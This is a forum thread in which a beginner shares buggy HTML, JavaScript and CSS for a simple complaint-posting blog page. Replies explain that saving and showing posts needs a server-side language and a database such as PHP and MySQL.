Blog site submit comments

JavaScript
1

Hello Everybody,

Ok, so I have created this blog website. Very simplistic and straight forward. It needs to allow people to write in what they want, and then display that on the page. Right now I have only gotten that it reads the input but only displays it as alert windows and doesnt save it. Now unlike java it cant write to an external text file which is what i would need it to do and then display that content from the file on the page. So apparently I need a side server? what is this?

I also would like that once someone has posted , people can comment underneath each post using facebook(which they have the code for on the sire but doesnt help me since i do not know how to display on the page.

See code below.

<!DOCTYPE HTML>
		<html xmlns="http://www.w3.org/1999/xhtml">

	
		<head>
		
		<meta charset="UTF-8">
		<link href="general.css" rel="stylesheet" type="text/css">
		
		
		<script type="text/javascript">var switchTo5x=true;</script>
<script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
<script type="text/javascript" src="http://s.sharethis.com/loader.js"></script>


		<title>hellowarri.com</title>
		
		
		
		<!-- <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
		<script type="text/javascript">stLight.options({publisher: "d2382559-c210-4c51-a5a7-efd3db4c665e", doNotHash: false, doNotCopy: false, hashAddressBar: false});</script> -->
		
		<script type="text/javascript">
		
		
		function addMember()
			  {
				
				alert("hello");
				
				var count=0;
				var complaintee = new Array();
				
				var list = document.getElementById("usernamed");
				
				var complaintee = new Object();
				
				var f = document.getElementById("complaint");//open form as f
				complaintee.name = f.username.value;
				complaintee.complaint = f.usercomplaint.value;
				complaintee.count = count;
				count++;
				alert(complaintee.name+"+" + complaintee.complaint+"+"+complaintee.count);
				reference.push(complaintee);
				display();
				
				
				
			
				
				
		
		}
		function display(){//empties current list and resubmits team members data
			
						alert(complaintee.name+"+" + complaintee.complaint+"+"+complaintee.count);
						var f = document.getElementById("complaint");
						var list=document.getElementById("usernamed");//open form as list
						var tex = "";//variable tex storage as ""
						
						for(var i=0; i<reference.complaining.length; i++)
						{
								tex= String(reference.complaining[i].name)+", "+String(reference.complaining[i].complaint);//set tex as surname and name
								list.options[i] = new Option(tex,tex);//add option to selection box
								
						}
						f.username.value="";
						f.usercomplaint.value="";
						
				}
		</script>
		
<script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
<script type="text/javascript">stLight.options({publisher: "d2382559-c210-4c51-a5a7-efd3db4c665e", doNotHash: false, doNotCopy: false, hashAddressBar: true});</script>
		</head>
				
		<body id="wrap">
		<!-- BEGIN: Powered by Supercounters.com -->
		
<!-- END: Powered by Supercounters.com -->
	
		<div class="top_bar">
		
		<!-- <div class="left_bar">
		</div> -->
		<ul class="nav">
		
		<li class="middle_bar">
	
		</li>
		</ul>
		<!-- <div class="right_bar">
		</div>  -->
		
		</div>
		<div class="counter">
		<script type="text/javascript" src="http://widget.supercounters.com/flag.js" ></script><script type="text/javascript">sc_flag(649344,"222222","f5edf5","000000",1,10,1,0)</script><br><noscript><a href="http://www.supercounters.com/">Flag Counter</a></noscript>
		<div class="rules">
		<p style="text-align:center;">RULES</p>
		<p style="margin-left: 10px;">1.Complain about anything on your mind!ANYTHING!</p>
		<p style="margin-left: 10px;">2.No Swearing(you can use eg.S**T), deletion will occur!</p>
		<p style="margin-left: 10px;">3.SHARE</p>
		</div>
		<div>
		<span class='st_facebook_vcount' displayText='Facebook'></span><span class='st_twitter_vcount' displayText='Tweet'></span><br><br><span class='st_fblike_hcount' displayText='Facebook Like'></span>
		<span class='st_plusone_hcount' displayText='Google +1'></span>
		<span class='st_twitterfollow_hcount' displayText='Twitter Follow'></span>
		<div id="fb-root"></div>
<script>(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
  fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
		
		</div>
		
		
		
		
		
		
		</div>
		<div class="whole">
		
		<div class="header_container">

		<div class="header_main">
		
		</div>
		</div>
		
		<div class="content">
		<div class="updates">
	<!-- 	<div class="instructions">
		<p style="font-size:1.5em; color:maroon; text-align :left;padding-left:10px;">Feeling down?Frustrated?ANGRY? Having relationship troubles?Friendship troubles?Work Problems?People b*itching that you complain too much?
		   I dont really give a shi*t, but I wanna hear about it.
			
		</p>
		<p style="font-size:1.5em; color:maroon; text-align :left;padding-left:10px;">
		EXPRESS YOURSELF HOWEVER YOU WANT. TRY NOT TO SWEAR TOO MUCH PLEASE.
			
		</p>
		
		</div> -->
		
		<form id="complaint" action="FormProcessor.html" method="get" enctype="application/x-www-form-urlencoded">
		<div class="gameR">
		
		<img src="DJ6.png" style="width :686px; height:30px; "></img><br><br>
		
		
		
		<div class="list"><p><iframe src="FormProcessor.asp" width=575 height=400 frameborder=0 ></iframe></p></div>
		<div id="fb-root"></div>

		<!-- <select id="usernamed" name="usernamed" size="5" style="width:50px;margin-left:54px"><br><br>
		</select> -->
		<!-- LikeBtn.com BEGIN -->
		<br>
		<div style="padding:10px;">
		<div class="nameCon">
		<img src="name.png" style="width :272.9px; height:25px;margin-left:45px"></img><br>
		<input id="username" type="text" name="username" size="40.9"; maxlength="15" style="margin-left:45px"><br><br>
		</div>
		<div class="complaint">
		<img src="complaint.png" style="width :575px; height:35px;text-align:center; "></img>
		<textarea id="usercomplaint" name="usercomplaint" style=" height: 150px;width:570px; margin-bottom:11px;resize: none;" value=""></textarea>
		</div>
		<input type="submit"  value="Add Complaint" style="align:right;margin-left:46px;margin-bottom:10px;">
		</div>
		</div>
		</form>
		

		
		</div>
		
		<!-- <iframe replaced="true" src="http://cdncache-a.akamaihd.net/ssa/115/?zoneid=200569&amp;cid=ZA&amp;pid=1356&amp;referer=http%3A%2F%2Fwww.ign.com%2Fgames%2Fdayz-stand-alone%2Fpc-145318&amp;pl=above&amp;ch=games" width="300" height="250" frameborder="0" scrolling="no" id="z_200569_300_250_1" style="margin-top:1px; float:left;"></iframe>
		<iframe replaced="true" src="http://cdncache-a.akamaihd.net/ssa/115/?zoneid=235440&amp;cid=ZA&amp;pid=1356&amp;referer=http%3A%2F%2Fwww.ign.com%2F&amp;pl=above&amp;ch=games" width="300" height="250" frameborder="0" scrolling="no" id="z_235440_300_250_1" style="margin-top:1px;float:left;"></iframe>
		<br><div class="iframewindow">
		
		</div> -->
		
		
		</div>
		</div>
		<div class="footer"></div>
		
			
		</body>
		
	<script type="text/javascript">stLight.options({publisher: "d2382559-c210-4c51-a5a7-efd3db4c665e", doNotHash: false, doNotCopy: false, hashAddressBar: true});</script>
<script>
var options={ "publisher": "d2382559-c210-4c51-a5a7-efd3db4c665e", "position": "right", "ad": { "visible": false, "openDelay": 5, "closeDelay": 0}, "chicklets": { "items": ["linkedin", "pinterest", "blogger", "google_reader", "evernote", "sharethis"]}};
var st_hover_widget = new sharethis.widgets.hoverbuttons(options);
</script>

		</html>

See Css below

#wrap{
	/* width: 100%; */
	margin: auto;
	min-height: 100%;
	height: auto !important;
	height: 100%;
	margin: 0 auto;
	/* background:url(blue.png); */
	background-size: cover;
	background-color:rgb(55,54,52);
}

#bg{
  width: 100%;
  height:100%;
  min-width:1000px;
  min-height: 750px;
  position: absolute;
  top: 0;
  left: 0;
}

div.header_main{

	
	text-align : center;
	width: 686px;
	min-width:686px;
	max-width:686px;
	height: 350px;
	margin-left:auto;
	margin-right:auto;
	margin-top : 275px;
	border : solid;
	border-width : 1px;
	display:block;
	background:url("Header.png");

	
	

}

div.instructions{

	border:solid;
	width : 686px;
	min-width:40px;
	margin-bottom:11px;
	border-width : 1px;



}
div.counter{

float:right;
left:0px;
top:150px;position:fixed; display:block;"


}
div.rules{
margin-top:-5px;
width:200px;
height: 200px;
border:solid;
border-width:1px;
Background-color:white;
padding:0px;



}
div.header_container{

	margin-top:-30px;
	display:block;
	overflow: hidden;
	
	

}
div.top_bar{
	

    margin:0;
    overflow:hidden;
	background:url("footer2.png");
	background-attachment: scroll;
	display: block;
	position: fixed;
	right: 0px;
	left: 0px;
	top: 0;
	z-index: 999;
	height:150px;
	
	
	
	
}
ul.nav{

	width: 500px;
	margin: 0 auto;
	Height:150px;
	background-image:url('footer.png');
	margin-left:50px;s

	

}
li.middle_bar{

	
	/* display : block;
	width: 192px;
	min-width:192px;
	max-width:192px;
	height : 80px;
	left:auto;
	right:auto; */
	
	display: block;
	text-decoration: none;
	color: #777;
	
	/* background: url#fffccc; */
	padding: 0px;
	margin: 0px auto;
	text-align:center;
	
	

}
div.right_bar{

	
	display : block;
	position:relative;
	width: 386px;
	min-width:386px;
	height : 80px;
	float : left;
	
	margin-right:-97px;
	
	
}
div.whole{
	/* background-image:url('white.png');
	background-size : 100% 100%; */
	background-color: white;
	margin-top:-99px;
	width: 1000px;
	min-width:1000px;
	max-width:1000px;
	margin-left:auto;
	margin-right:auto;
	border-left : solid ;
	border-right : solid ;
	border-width : 1px;
	margin-bottom:-99px;
	
	
	


}
/* div.left_panel{
	
	
	display : block;
	float : left;
	position: relative;
	width:44px;
	height:600px;
	
	
	
}
div.right_panel{
	
	display : block;
	float : right;
	position: relative;
	width:44px;
	height:600px;
	
	
} */
div.window{
	display: block;
	margin-left: auto;
	margin-right: auto;
	width: 688px;
	min-width:688px;
	max-width:688px;
	height:400px;
	padding : 0px;
	margin-bottom: 0px;
	
	
}
video.vid1{
	
	border-style:outset;
	border-width:1px;	
	width: 135.6px;
	height:398px;
	float:left;
	position :relative;
	margin-bottom : 0px;
	


}

div.content{
	/* display : block; */
	
	width: 688px;
	min-width:688px;
	max-width:688px;
	height:100%;
	text-align: center;
	background-color: white;
	margin-left:auto;
	margin-right:auto;
	margin-top:11px;
	margin-bottom : 30px;
	background-color: white;
	display:block;
	overflow: hidden;
	
}

div.footer{

	
    overflow:hidden;
	margin-top:0px;
	background:url("footer_2.png");
	background-attachment: scroll;
	display: block;
	margin-bottom :0px;
	right: 0px;
	left: 0px;
	top: 0px;
	z-index: 999;
	height:225px;
	
	
	
/* position:relative;
bottom:0px;
height : 80px;
margin-left:0px;

/* width: 964px;
min-width:964px;
max-width:964px;
text-align : center; */
}
div.iframewindow{

	display: block;
	margin-left: auto;
	margin-right: auto;
	width: 680px;

	height:200px;
	padding : 0px;
	overflow:auto;

	
}

iframe.mixcloud{

	
	width:80px;
	height:80px;
	float:left;
	position :relative;
	padding: 20px;
	margin-left: auto ;
	margin-right: auto ;
	border-bottom : dashed;
	border-width: 1px;



	
	
}
div.advert-horizon{

	
	margin-bottom : 91px;
	margin-left : auto;
	margin-right :auto;
	text-align: center;
	border : solid;
	border-width : 1px;
	height : 90px;
	width : 686px;






}


div.gameR{
	
	
	
	
	float:left;
	width: 686px;
	max-width: 686px;
	text-align:left;
	margin-top:0px;
	border-left : solid;
	border-right : solid;
	border-bottom : solid;
	border-top : solid;
	border-width : 1px;
	margin-bottom:100px;
	color:maroon;
	border-color:black;
	
			
}
div.updates{
	
	
	
	margin-left : auto;
	margin-right :auto;
	width: 688px;
	max-width: 688px;
	height : 480px;
	
	
	text-align: center;
			
}
div.complaint{
text-align:center;

}
div.nameCom{
text-align:center;

}
div.list{

	margin-left:45px;
	width :575px;



}
#outerdiv {


width: 200px;
height:250px;
position: relative;



}
#innerdiv {
position: Relative; left: 0px; top: 0px; clip:rect(0px 0px 0px 0px);
}

Please help guys. I have been googling for hours.

Thanks

2

Bump

Sent from my GT-I9500 using Tapatalk 2

3

You need a server-side technology (PHP, .NET, ColdFusion, etc.) that will allow you to connect to a database of some sort and store user input. You will need to change the name of FormProcessor.html to match your server-side technology, and make that same change in the action attribute of your <form> tag. Then, you’ll need to add logic to a new or existing page to retrieve input from the database and display it on the page.

When all is said and done, it sounds like you are trying to reinvent the wheel. There are plenty of good blogging and CMS tools out there (WordPress, Blogger, Drupal, Joomla, just to name a few) that will do what you’re trying to do. Or are you doing this as more of an exercise?

4

Hey man, im doing this more as an exercise. HTML is also more customizable. Eventually when i get further into my Degree and learn more advanced methods I will be updating the website accordingly.

Is there maybe not a way to post it directly onto the webpage? like onto a label? then the site creates a new label for the next post?

5

moretea is correct in saying you’ll need a server-side language. With only HTML and Javascript you could redisplay the comment, but if you want to show ir to others you’ll need to save it somehow. A file would work I guess but a database would be the best.

You are reinventing the wheel, but if you learn better by doing than you do by analyzing (and you have the time) why not?

Do you have a server? What languages and databases does it support?

6

Hey man , thanks for the response. I dont have a server actually i am using free hosting at the moment. My budget isnt quite that big yet.

Not sure what to do though.

7

You could look at an SQLite solution which only works in Chrome and Firefox but its a little bit complex if you don’t know how to use NodeJS and MySQL.

8

I’d be surprised if the free host didn’t have some server-side language(s) - most likely PHP

In any case, I think it would be a good idea to install a server and database on your computer.
If you don’t want to install things separately you could try bundles like WAMP, XAMPP, EasyPHP etc.

Having a localhost server will allow you to work off-line and you’ll be able to use it for development.

If you have a grasp on HTML, CSS and Javascript you’re off to a good start and are already ahead of many that start with WordPress but have no idea of how to modify things.

You need to decide what language and database you want to start with, there are many options. But you will have no trouble finding hosts for Apache, MySQL, PHP